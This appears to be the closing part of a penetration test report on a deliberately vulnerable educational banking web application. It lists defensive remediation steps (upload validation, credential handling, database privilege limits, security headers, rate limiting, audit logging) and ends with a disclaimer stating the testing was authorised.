[-] Implement file upload validation: whitelist extensions, check MIME, rename files, disable PHP in upload dir

[-] Add business logic: positive amounts only, balance checks, account existence verification

[-] Move DB credentials to environment variables or config file outside webroot

[-] Restrict DB user: remove GRANT OPTION, limit privileges to bankdb only, allow localhost connections only

[-] Implement Content-Security-Policy, X-Frame-Options, X-Content-Type-Options headers

[-] Set up WAF (Web Application Firewall) as additional defense layer

[-] Implement rate limiting on login endpoint to prevent brute-force

[-] Add audit logging for all sensitive operations (transfers, login attempts, admin actions)

Disclaimer

This penetration test was performed on a deliberately vulnerable educational application hosted on a private network (10.160.0.3). All testing was authorized by the system owner. The techniques and payloads described in this report are for educational and defensive purposes only. Unauthorized use of these techniques against systems you do not own or have explicit permission to test is illegal.

Report generated: 2026-02-22 20:12:24

Testing methodology: Manual DAST via crafted curl payloads with automated evidence collection